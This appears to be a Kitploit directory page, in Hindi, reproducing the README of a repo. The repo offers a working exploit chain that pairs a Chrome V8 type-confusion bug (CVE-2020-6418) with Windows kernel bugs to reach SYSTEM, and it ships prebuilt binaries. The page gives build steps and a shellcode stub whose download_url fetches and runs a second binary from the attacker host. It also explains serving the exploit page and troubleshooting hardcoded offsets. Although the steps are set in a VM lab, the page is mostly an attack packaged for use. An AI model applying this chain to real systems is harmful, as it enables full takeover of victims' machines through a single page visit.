Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2020-6418 — CVE-2020-6418 (Chrome RCE) के लिए सिंगल-स्टेज एक्सप्लॉइट चेन, जो Windows प्रिविलेज एस्केलेशन के साथ जुड़कर SYSTEM तक पहुँचती है, साथ में बिल्ड स्क्रिप्ट्स और प्रीबिल्ट बाइनरीज़। | Kitploit
उपकरण/GitHubGitHub/a-mansilla/cve-2020-6418
विशेषाधिकार वृद्धिशोषण फ्रेमवर्कभेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपेलोड डेवलपमेंटबाइनरी शोषण
GitHuba-mansilla/cve-2020-6418

CVE-2020-6418

CVE-2020-6418 (Chrome RCE) के लिए सिंगल-स्टेज एक्सप्लॉइट चेन, जो Windows प्रिविलेज एस्केलेशन के साथ जुड़कर SYSTEM तक पहुँचती है, साथ में बिल्ड स्क्रिप्ट्स और प्रीबिल्ट बाइनरीज़।

रिपॉजिटरी देखें
8 दिन पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2020-6418: Chrome RCE को Windows privilege escalation के साथ जोड़ा गया

इस रिपो में CVE-2020-6418 के लिए एक काम करने वाली, सिंगल-स्टेज एक्सप्लॉइट चेन है। (यह V8 के Turbofan कंपाइलर में एक type confusion बग है, जो Google Chrome 80.0.3987.87 x64 को प्रभावित करता है)। कमजोर Chrome के साथ किसी malicious पेज पर जाने पर आपको renderer process के अंदर native code execution मिलता है। वहाँ से, एक्सप्लॉइट एक दूसरी binary डाउनलोड करके लॉन्च करता है जो दो और बगों को जोड़ती है (NtPowerInformation में एक missing length check और CVE-2021-31956, एक pool ओवरफ्लो ntfs.sys में) ताकि एक unprivileged process से सीधे NT AUTHORITY\SYSTEM तक पहुँचा जा सके।

पूरी प्रक्रिया पेज की एक ही विज़िट में चल जाती है, ब्राउज़र बग और SYSTEM शेल के बीच कोई मैन्युअल कदम नहीं होता।

Chrome एक्सप्लॉइट का मूल श्रेय Clement Lecigne (bug की खोज, Google TAG) और Istvan Kurucsai / Vignesh S Rao (मूल proof of concept, जिसे बाद में Metasploit मॉड्यूल के रूप में जारी किया गया) को जाता है। हमने Metasploit निर्भरताओं को हटा दिया और डिलीवरी तंत्र को पेज में payload एम्बेड करने के बजाय एक native downloader के इर्द-गिर्द फिर से बनाया। विवरण के लिए देखें browser-exploit/README.md।

रिपो लेआउट

root@kitploit:~
browser-exploit/        The Chrome exploit (the V8 bug + the native stub)
  exploit_template.html   HTML/JS source, with a placeholder for the stub
  build_exploit.py         generates exploit.html from the template
  shellcode/                the native code the exploit injects into Chrome
privilege-escalation/    The Windows EoP chain, a standalone C program
prebuilt/                Ready to use binaries (exploit.html and exploit.exe)
notes/                   An earlier approach we tried and abandoned, kept
                         as a record of what we learned along the way

आपको क्या चाहिए

हमलावर मशीन ("host"): कोई भी हालिया Windows जिसमें Visual Studio 2019 या 2022 हो (कोई भी edition, Community चलेगा, या सिर्फ Build Tools), NASM और Python 3। यहीं पर आप सब कुछ build करते हैं और एक्सप्लॉइट पेज को serve करते हैं।

लक्ष्य मशीन ("VM"): यह बिल्कुल मेल खाना चाहिए, एक्सप्लॉइट हार्डकोडेड ऑफ़सेट्स पर निर्भर करता है जो केवल इन विशिष्ट builds के लिए मान्य हैं।

  • Windows 10 20H1, build 19041.264 x64। winver या PowerShell में [System.Environment]::OSVersion से जाँचें।
  • Google Chrome 80.0.3987.87 x64 (यह bug 80.0.3987.122 में पैच हुआ था, इसलिए यह exact build या उससे पहले का कोई vulnerable build होना चाहिए)। chrome://version से जाँचें।
  • एक फ़ोल्डर C:\lab8 (खाली हो सकता है, बस उसका अस्तित्व होना चाहिए)।

हमने इसे host-only network adapter वाली VMware Workstation VM पर परीक्षण किया, लेकिन कोई भी सेटअप जहाँ VM HTTP के ज़रिए host तक पहुँच सकता है, उसी तरह काम करता है।

त्वरित शुरुआत

1. सब कुछ host पर build करें

root@kitploit:~
cd browser-exploit\shellcode
build.bat
cd ..
python build_exploit.py shellcode\download_and_run_stub.bin exploit.html

cd ..\privilege-escalation
build.bat

पहली build से पहले, browser-exploit\shellcode\download_and_run_stub.asm खोलें और नीचे के पास इन दो पंक्तियों को संपादित करें:

root@kitploit:~
download_url:       db "http://YOUR_HOST_IP:8000/exploit.exe", 0
destination_path:   db "C:\lab8\exploit.exe", 0

YOUR_HOST_IP इस मशीन का IP पता है जैसा VM से दिखता है (VM पर ipconfig चलाएँ और वह network adapter देखें जो आपके host-only या NAT नेटवर्क से मेल खाता है, या बस host पर ipconfig चलाएँ और उस adapter का उपयोग करें जो VM के समान subnet पर है)। destination_path को वहाँ मेल खाना चाहिए जहाँ आप EoP binary को VM में रखना चाहते हैं, डिफ़ॉल्ट C:\lab8 है।

संपादन के बाद, stub को फिर से असेंबल करें और exploit.html को पुनः जनरेट करें (step 1 के दो कमांड, privilege-escalation build को छोड़कर क्योंकि वह IP पर निर्भर नहीं करता)।

अगर आप त्वरित परीक्षण के लिए assembly फ़ाइल को छूना नहीं चाहते, तो prebuilt/ में हमारे अपने परीक्षण IP के साथ एक काम करती हुई कॉपी पहले से मौजूद है। यह तभी काम करेगी जब आपका नेटवर्क संयोग से मेल खाए, इसलिए अपनी खुद की कॉपी बनाना ही भरोसेमंद तरीका है।

2. एक्सप्लॉइट को host से serve करें

exploit.html और exploit.exe (वह जो privilege-escalation/ में बना है) को एक ही फ़ोल्डर में रखें, फिर:

root@kitploit:~
python -m http.server 8000

exploit.exe उसी exact URL पर पहुँच योग्य होना चाहिए जो आपने ऊपर download_url में डाला है, क्योंकि native stub इसे सीधे fetch करता है, ब्राउज़र के माध्यम से नहीं।

host firewall पर एक त्वरित टिप्पणी: अगर VM port 8000 तक नहीं पहुँच पा रहा है, तो यह लगभग हमेशा Windows Defender Firewall होता है जो किसी unclassified नेटवर्क पर inbound connection को ब्लॉक कर रहा है, या कोई पुराना नियम जो विशेष रूप से python.exe को ब्लॉक कर रहा है (Windows कभी-कभी पहली बार अपने आप एक नियम बना देता है जब कोई ऐप किसी untrusted नेटवर्क पर connection accept करने की कोशिश करता है)। Get-NetFirewallRule -DisplayName "python.exe" को elevated PowerShell में चलाएँ अगर आपको यह समस्या आती है।

3. VM सेट अप करें

  • पुष्टि करें कि Windows build और Chrome version आवश्यकताओं से मेल खाते हैं जैसा ऊपर बताया गया है।
  • अगर C:\lab8 पहले से नहीं है तो उसे बनाएँ (खाली होना ठीक है)।
  • अगर यह एक बेयर VM है जो कभी वास्तविक boot cycle से नहीं गुज़रा, तो C:\Windows\bootstat.dat गायब या खाली हो सकता है, और kernel bug के लिए उसका वैध सामग्री के साथ मौजूद होना आवश्यक है। अगर ज़रूरत हो:
root@kitploit:~
if (!(Test-Path C:\Windows\bootstat.dat)) {
    fsutil file createnew C:\Windows\bootstat.dat 2048
}
$bytes = [System.IO.File]::ReadAllBytes("C:\Windows\bootstat.dat")
$bytes[4] = 1
[System.IO.File]::WriteAllBytes("C:\Windows\bootstat.dat", $bytes)

4. इसे चलाएँ

कमजोर Chrome को --no-sandbox के साथ लॉन्च करें (इस PoC में sandbox escape शामिल नहीं है, इसलिए renderer को फ़ाइल सिस्टम तक पहुँचने और processes spawn करने के लिए पहले से unsandboxed होना आवश्यक है) और इसे पेज पर इंगित करें:

root@kitploit:~
chrome.exe --no-sandbox http://YOUR_HOST_IP:8000/exploit.html

DevTools (F12) खोलें और Console टैब देखें, एक्सप्लॉइट अपनी प्रगति वहाँ लॉग करता है। अगर सब कुछ ठीक रहा, तो आपको type confusion सफल होते हुए, stub द्वारा EoP binary डाउनलोड और लॉन्च होते हुए, और कुछ सेकंड बाद NT AUTHORITY\SYSTEM के रूप में चल रही एक नई कंसोल विंडो दिखनी चाहिए।

अगर कुछ गलत हो जाए

  • Chrome एक्सप्लॉइट चलाने के बजाय क्रैश हो जाता है: लगभग हमेशा Chrome build बेमेल होता है। exploit_template.html में दिए गए ऑफ़सेट्स (objleaker_offset, float_carw_elements_offset, और बाकी) केवल 80.0.3987.87 x64 के लिए विशिष्ट हैं, वे किसी दूसरे build पर काम नहीं करेंगे, भले ही वह सिर्फ एक patch version दूर हो।
  • EoP binary एक कंसोल खोलता है लेकिन SYSTEM तक नहीं पहुँचता: यही बात, जाँचें कि Windows build बिल्कुल 19041.264 है। Kernel के ऑफ़सेट्स (DEFAULT_RVA_ANCHOR, DEFAULT_RVA_SEPSD, और विभिन्न EPROCESS/ETHREAD ऑफ़सेट्स privilege-escalation/exploit.c में) उसी build के लिए hardcoded हैं।
  • लगता है कि download stub कुछ भी fetch नहीं कर रहा है: दोबारा जाँचें कि download_and_run_stub.asm में download_url उस पते और port से मेल खाता है जिस पर host वास्तव में serve कर रहा है, और VM उस तक पहुँच सकता है (VM के अंदर से एक साधारण curl http://YOUR_HOST_IP:8000/exploit.exe एक्सप्लॉइट को दोष देने से पहले कनेक्टिविटी की पुष्टि करने का त्वरित तरीका है)।

प्रत्येक हिस्से के बारे में अधिक विवरण, जिसमें यह भी शामिल है कि इसे इस तरह क्यों बनाया गया है, हर फ़ोल्डर के README में दिया गया है।

टूल डाउनलोड करें